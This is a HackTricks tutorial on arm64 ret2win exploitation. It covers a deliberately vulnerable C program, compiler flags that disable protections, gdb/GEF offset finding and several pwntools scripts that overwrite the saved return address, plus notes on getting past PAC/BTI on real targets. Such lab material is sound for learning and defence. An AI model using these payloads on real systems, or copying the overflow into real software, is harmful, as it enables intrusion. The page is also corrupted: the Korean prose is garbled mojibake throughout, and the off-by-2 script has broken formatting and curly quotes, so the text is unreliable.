Ret2win - arm64
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
arm64 ์๊ฐ๋ ๋ค์์ ์ฐธ์กฐํ์ธ์:
์ฝ๋
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
pie์ canary ์์ด ์ปดํ์ผ:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- ์ถ๊ฐ ํ๋๊ทธ
-mbranch-protection=none๋ AArch64 Branch Protection (PAC/BTI)์ ๋นํ์ฑํํฉ๋๋ค. ํด์ฒด์ธ์ด ๊ธฐ๋ณธ์ ์ผ๋ก PAC ๋๋ BTI๋ฅผ ํ์ฑํํ๋ค๋ฉด, ์ด ํ๋๊ทธ๋ ์ค์ต ์ฌํ์ฑ์ ์ ์งํฉ๋๋ค. ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ๊ฐ PAC/BTI๋ฅผ ์ฌ์ฉํ๋์ง ํ์ธํ๋ ค๋ฉด: - AArch64 GNU properties๋ฅผ ํ์ธ:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- ํ๋กค๋ก๊ทธ/์ํ๋ก๊ทธ์์
paciasp/autiasp(PAC) ๋๋bti clanding pads (BTI)๋ฅผ ๊ฒ์ฌ: objdump -d ret2win | head -n 40
AArch64 ํธ์ถ ๊ท์ฝ ์์ฝ
- ๋งํฌ ๋ ์ง์คํฐ๋
x30(์ผ๋ชlr)์ด๋ฉฐ, ํจ์๋ ์ผ๋ฐ์ ์ผ๋กstp x29, x30, [sp, #-16]!๋กx29/x30์ ์ ์ฅํ๊ณldp x29, x30, [sp], #16; ret๋ก ๋ณต์ํฉ๋๋ค. - ์ฆ ์ ์ฅ๋ ๋ฐํ ์ฃผ์๋ ํ๋ ์ ๋ฒ ์ด์ค๋ก๋ถํฐ
sp+8์ ์์นํฉ๋๋ค.char buffer[64]๊ฐ ์๋์ ๋ฐฐ์น๋ ๊ฒฝ์ฐ, ์ ์ฅ๋x30๊น์ง์ ์ผ๋ฐ์ ์ธ ๋ฎ์ด์ฐ๊ธฐ ๊ฑฐ๋ฆฌ๋ 64 (buffer) + 8 (saved x29) = 72 ๋ฐ์ดํธ์ ๋๋ค โ ์ด๋ ์๋์์ ์ ํํ ํ์ธํ ๊ฒ์ ๋๋ค. - ์คํ ํฌ์ธํฐ๋ ํจ์ ๊ฒฝ๊ณ์์ 16๋ฐ์ดํธ ์ ๋ ฌ์ ์ ์งํด์ผ ํฉ๋๋ค. ๋ ๋ณต์กํ ์๋๋ฆฌ์ค์์ ๋์ค์ ROP ์ฒด์ธ์ ๊ตฌ์ฑํ ๊ฒฝ์ฐ, SP ์ ๋ ฌ์ ์ ์งํ์ง ์์ผ๋ฉด ํจ์ ์ํ๋ก๊ทธ์์ ํฌ๋์๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค.
์คํ์ ์ฐพ๊ธฐ
ํจํด ์ต์
์ด ์์ ๋ GEF๋ฅผ ์ฌ์ฉํ์ฌ ์์ฑ๋์์ต๋๋ค:
GEF๋ก gdb๋ฅผ ์์ํ๊ณ , ํจํด์ ์์ฑํ์ฌ ์ฌ์ฉํฉ๋๋ค:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64๋ ๋ ์ง์คํฐ x30์ ์๋ ์ฃผ์๋ก ๋ณต๊ทํ๋ ค๊ณ ์๋ํฉ๋๋ค(ํด๋น ๋ ์ง์คํฐ๊ฐ ์ ์ด๋์์ผ๋ฏ๋ก). ์ด๋ฅผ ์ฌ์ฉํด ํจํด ์คํ์ ์ ์ฐพ์ ์ ์์ต๋๋ค:
pattern search $x30
.png)
์คํ์ ์ 72 (9x48)์ ๋๋ค.
์คํ ์คํ์ ์ต์
๋จผ์ pc ๋ ์ง์คํฐ๊ฐ ์ ์ฅ๋ ์คํ ์ฃผ์๋ฅผ ์ป์ต๋๋ค:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
์ด์ read() ์ดํ์ breakpoint๋ฅผ ์ค์ ํ๊ณ read()๊ฐ ์คํ๋ ๋๊น์ง continueํ ๋ค์ 13371337๊ณผ ๊ฐ์ ํจํด์ ์ค์ ํ์ธ์:
b *vulnerable_function+28
c
.png)
์ด ํจํด์ด ๋ฉ๋ชจ๋ฆฌ์ ์ด๋์ ์ ์ฅ๋์ด ์๋์ง ์ฐพ์ผ์ธ์:
.png)
Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Regular
win ํจ์์ ์ฃผ์๋ฅผ ์ป์ผ์ธ์:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
์ฌ์ค ์ด๊ฒ์ ์คํ์ ์ ์ฅ๋ PC์์์ off-by-2์ ๋ ๊ฐ๊น์ต๋๋ค. return address ์ ์ฒด๋ฅผ ๋ฎ์ด์ฐ๋ ๋์ ๋ง์ง๋ง 2 bytes๋ง 0x06c4๋ก ๋ฎ์ด์ธ ๊ฒ์
๋๋ค.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
๋ค๋ฅธ ARM64์ off-by-one ์์ ๋ https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/์์ ํ์ธํ ์ ์์ผ๋ฉฐ, ์ด๋ ํ๊ตฌ์ ์ทจ์ฝ์ ์์ ๋ฐ์ํ ์ค์ off-by-one์ ๋๋ค.
PIE ์ฌ์ฉ ์
Tip
๋ฐ์ด๋๋ฆฌ๋ฅผ
-no-pie์ธ์๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ์ปดํ์ผํ์ธ์
Off-by-2
leak์ด ์์ผ๋ฉด win ํจ์์ ์ ํํ ์ฃผ์๋ ์ ์ ์์ง๋ง, ๋ฐ์ด๋๋ฆฌ์์ ํด๋น ํจ์์ ์คํ์ ์ ์ ์ ์๊ณ ์ฐ๋ฆฌ๊ฐ ๋ฎ์ด์ฐ๊ณ ์๋ ๋ฐํ ์ฃผ์๊ฐ ์ด๋ฏธ ๊ฐ๊น์ด ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์๋ค๋ ์ ์ ์ด์ฉํ๋ฉด, ์ด ๊ฒฝ์ฐ win ํจ์์ ์คํ์ (0x7d4)์ leakํด์ ๊ทธ ์คํ์ ์ ๊ทธ๋๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค:
.png)
Configuration
binary_name = โ./ret2winโ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = bโAโ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
### ์ต์ AArch64 ํ๋๋(PAC/BTI) ๋ฐ ret2win์ ๋ํ ์ฃผ์์ฌํญ
- ๋ฐ์ด๋๋ฆฌ๊ฐ AArch64 Branch Protection์ผ๋ก ์ปดํ์ผ๋ ๊ฒฝ์ฐ, ํจ์ prologues/epilogues์ `paciasp`/`autiasp` ๋๋ `bti c`๊ฐ ์ถ๋ ฅ๋ ์ ์์ต๋๋ค. ์ด๋ฐ ๊ฒฝ์ฐ:
- ์ ํจํ BTI landing pad๊ฐ ์๋ ์ฃผ์๋ก ๋์๊ฐ๋ฉด `SIGILL`์ด ๋ฐ์ํ ์ ์์ต๋๋ค. `bti c`๊ฐ ํฌํจ๋ ์ ํํ ํจ์ ์ง์
์ ์ ๋ชฉํ๋ก ํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
- PAC๊ฐ returns์ ๋ํด ํ์ฑํ๋ ๊ฒฝ์ฐ, naive returnโaddress overwrites๋ ์ํ๋ก๊ทธ๊ฐ `x30`์ ์ธ์ฆํ๊ธฐ ๋๋ฌธ์ ์คํจํ ์ ์์ต๋๋ค. ํ์ต์ฉ ์๋๋ฆฌ์ค์์๋ ์์์ ๋ณด์ธ ๊ฒ์ฒ๋ผ `-mbranch-protection=none`์ผ๋ก ๋ค์ ๋น๋ํ์ธ์. ์ค์ ํ๊น์ ๊ณต๊ฒฉํ ๋๋ nonโreturn hijacks(์: function pointer overwrites)์ ์ ํธํ๊ฑฐ๋ ์์กฐํ LR์ ์ธ์ฆํ๋ `autiasp`/`ret` ์์ ์ ๋ ์คํํ์ง ์๋ ROP๋ฅผ ๊ตฌ์ฑํ์ธ์.
- ๊ธฐ๋ฅ์ ๋น ๋ฅด๊ฒ ํ์ธํ๋ ค๋ฉด:
- `readelf --notes -W ./ret2win` ๊ทธ๋ฆฌ๊ณ `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` ๋
ธํธ๋ฅผ ํ์ธํ์ธ์.
- `objdump -d ./ret2win | head -n 40` ๊ทธ๋ฆฌ๊ณ `bti c`, `paciasp`, `autiasp`๋ฅผ ์ฐพ์๋ณด์ธ์.
### nonโARM64 ํธ์คํธ์์ ์คํํ๊ธฐ (qemuโuser ๋น ๋ฅธ ํ)
๋ง์ฝ x86_64์ ์์ง๋ง AArch64๋ฅผ ์ฐ์ตํ๊ณ ์ถ๋ค๋ฉด:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
๊ด๋ จ HackTricks ํ์ด์ง
Ret2syscall - ARM64
์ฐธ๊ณ ๋ฌธํ
- AArch64์์ Linux์ฉ PAC ๋ฐ BTI ํ์ฑํ (Arm Community, 2024๋ 11์). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Arm 64๋นํธ ์ํคํ ์ฒ๋ฅผ ์ํ ํ๋ก์์ ํธ์ถ ํ์ค (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


